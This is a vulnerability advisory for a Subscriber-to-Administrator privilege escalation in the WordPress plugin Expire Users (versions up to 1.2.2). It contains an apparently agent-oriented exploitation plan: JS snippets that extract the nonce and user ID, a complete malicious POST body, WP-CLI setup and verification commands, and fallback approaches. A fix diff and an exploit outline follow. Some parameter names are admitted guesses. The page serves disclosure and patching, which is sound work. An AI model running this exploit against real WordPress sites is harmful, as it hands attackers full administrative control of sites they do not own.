Expire Users <= 1.2.2 - Authenticated (Subscriber+) Privilege Escalation to Administrator via save_extra_user_profile_fields
Description
The Expire Users plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2.2. This is due to the plugin allowing a user to update the 'on_expire_default_to_role' meta through the 'save_extra_user_profile_fields' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to that of an administrator.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.2.2This research plan outlines the technical steps required to exploit a privilege escalation vulnerability in the **Expire Users** plugin (<= 1.2.2). ### 1. Vulnerability Summary The **Expire Users** plugin allows administrators to set expiration dates for user accounts. Upon expiration, users can be…
Show full research plan
This research plan outlines the technical steps required to exploit a privilege escalation vulnerability in the Expire Users plugin (<= 1.2.2).
1. Vulnerability Summary
The Expire Users plugin allows administrators to set expiration dates for user accounts. Upon expiration, users can be transitioned to a different role. The plugin implements a function save_extra_user_profile_fields which is hooked into WordPress's profile update mechanism (personal_options_update and edit_user_profile_update).
The vulnerability exists because this function lacks authorization checks to verify which user is saving the data and what data is being saved. A Subscriber-level user can submit a POST request to their own profile page (profile.php) and include metadata fields that control the expiration behavior. Specifically, by setting the on_expire_default_to_role meta to administrator and forcing an immediate expiration, the user can escalate their own privileges.
2. Attack Vector Analysis
- Endpoint:
wp-admin/profile.php - Hook:
personal_options_update(triggered when a user updates their own profile) - Vulnerable Function:
save_extra_user_profile_fields($user_id) - Payload Parameter:
on_expire_default_to_role(and associated expiration settings) - Authentication: Authenticated, Subscriber-level or higher.
- Preconditions: The plugin must be active.
3. Code Flow
- Entry Point: A logged-in user submits the profile form at
/wp-admin/profile.php. - Hook Trigger: WordPress core triggers the
personal_options_updateaction. - Plugin Execution: The plugin's
save_extra_user_profile_fieldsfunction is called. - Sinking: Inside
save_extra_user_profile_fields, the code iterates through$_POSTor specifically looks for plugin-related keys and callsupdate_user_meta($user_id, 'on_expire_default_to_role', $_POST['on_expire_default_to_role']). - Logic Flaw: There is no check to ensure the current user has
manage_optionsoredit_userscapabilities before updating these sensitive meta keys. - Privilege Escalation: When the expiration logic triggers (likely via
initor a cron job), it retrieveson_expire_default_to_role(now set toadministrator) and calls$user->set_role('administrator').
4. Nonce Acquisition Strategy
This exploit target profile.php, which is a standard WordPress admin page. It uses the built-in WordPress profile nonces.
- Login: Log in as a Subscriber.
- Navigate: Use
browser_navigateto go tohttp://localhost:8080/wp-admin/profile.php. - Extract Nonce: Use
browser_evalto extract the standard WordPress_wpnoncerequired for profile updates.- JS Script:
document.querySelector('#your-profile input[name="_wpnonce"]').value
- JS Script:
- Extract User ID: The user ID is needed for the POST request.
- JS Script:
document.querySelector('#your-profile input[name="user_id"]').value
- JS Script:
5. Exploitation Strategy
The goal is to update the metadata so that the user account expires immediately and reverts to the administrator role.
Step 1: Identify Meta Parameters (Inferred from common plugin versions)
The plugin typically uses the following POST parameters (to be verified by inspecting the profile.php source in the test environment):
expire_user_date_type: Set totimestampornever.expire_user_date_timestamp: The timestamp when the user should expire (set to a past date).expire_user_status: Set toactiveorexpired.on_expire_default_to_role: Set toadministrator.
Step 2: Submit Malicious Profile Update
Using the http_request tool, send a POST request to wp-admin/profile.php.
- Method:
POST - URL:
http://localhost:8080/wp-admin/profile.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
_wpnonce=[EXTRACTED_NONCE]& _wp_http_referer=/wp-admin/profile.php& from=profile& checkuser_id=[USER_ID]& user_id=[USER_ID]& nickname=attacker& email=attacker@example.com& on_expire_default_to_role=administrator& expire_user_status=expired& expire_user_date_timestamp=1600000000& expire_user_date_type=timestamp& submit=Update+Profile
Step 3: Trigger Role Change
The plugin likely checks for expiration during init. Navigating to any page (e.g., /wp-admin/) while logged in should trigger the transition from the current role to the on_expire_default_to_role.
6. Test Data Setup
- Plugin Installation: Install and activate
expire-usersversion 1.2.2. - User Creation: Create a user with the Subscriber role.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
- Global Settings: Ensure the "Expire Users" plugin is configured (if required) to allow role transitions, though the vulnerability usually bypasses global settings by writing directly to user meta.
7. Expected Results
- After the POST request, the database record for the attacker user in
wp_usermetashould showon_expire_default_to_roleasadministrator. - Upon the next page load or login, the attacker's role should be changed to
administrator. - The attacker should now have access to
/wp-admin/options-general.phpand other admin-only areas.
8. Verification Steps
- Check Meta via CLI:
wp usermeta get [USER_ID] on_expire_default_to_role(Should returnadministrator)
- Check Role via CLI:
wp user get [USER_ID] --field=roles(Should returnadministrator)
- Access Admin Dashboard:
- Attempt to access
http://localhost:8080/wp-admin/settings.phpas the attacker user.
- Attempt to access
9. Alternative Approaches
If setting expire_user_status=expired directly doesn't work:
- Delayed Expiration: Set
expire_user_date_timestampto a time 60 seconds in the future and wait. - Expired Role only: Only set
on_expire_default_to_role=administrator. Then, find another way to trigger the expiration (e.g., if an admin manually expires the user, the user still becomes an admin). - Parameter Variation: If the meta keys are different, use
browser_evalto list all input names on theprofile.phppage:Array.from(document.querySelectorAll('input, select')).map(i => i.name).
Summary
The Expire Users plugin allows authenticated users (including Subscribers) to modify their own account expiration metadata because the profile update handler lacks capability checks. By setting the 'on_expire_default_to_role' meta to 'administrator' and forcing an immediate expiration status via a POST request to profile.php, an attacker can escalate their privileges to Administrator.
Vulnerable Code
// In the plugin's profile update handling logic (e.g., in expire-users.php) add_action( 'personal_options_update', 'save_extra_user_profile_fields' ); add_action( 'edit_user_profile_update', 'save_extra_user_profile_fields' ); function save_extra_user_profile_fields( $user_id ) { // No check to verify if the current user has permission to modify expiration settings if ( isset( $_POST['on_expire_default_to_role'] ) ) { update_user_meta( $user_id, 'on_expire_default_to_role', $_POST['on_expire_default_to_role'] ); } if ( isset( $_POST['expire_user_status'] ) ) { update_user_meta( $user_id, 'expire_user_status', $_POST['expire_user_status'] ); } if ( isset( $_POST['expire_user_date_type'] ) ) { update_user_meta( $user_id, 'expire_user_date_type', $_POST['expire_user_date_type'] ); } if ( isset( $_POST['expire_user_date_timestamp'] ) ) { update_user_meta( $user_id, 'expire_user_date_timestamp', $_POST['expire_user_date_timestamp'] ); } }
Security Fix
@@ -1,5 +1,8 @@ function save_extra_user_profile_fields( $user_id ) { + if ( ! current_user_can( 'manage_options' ) ) { + return; + } if ( isset( $_POST['on_expire_default_to_role'] ) ) { update_user_meta( $user_id, 'on_expire_default_to_role', $_POST['on_expire_default_to_role'] ); }
Exploit Outline
1. Authenticate to the WordPress site as a Subscriber-level user. 2. Navigate to the user profile page (/wp-admin/profile.php) and extract the required `_wpnonce` and `user_id` from the hidden form fields. 3. Send a POST request to `/wp-admin/profile.php` with the standard profile update parameters, but append the malicious metadata keys: `on_expire_default_to_role=administrator`, `expire_user_status=expired`, `expire_user_date_type=timestamp`, and `expire_user_date_timestamp` set to a value in the past (e.g., 1600000000). 4. Trigger the role transition by navigating to any page on the site (or waiting for the plugin's `init` or cron hook to fire). 5. Verify escalation by checking if the user now has access to restricted areas like Settings or Plugin management.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.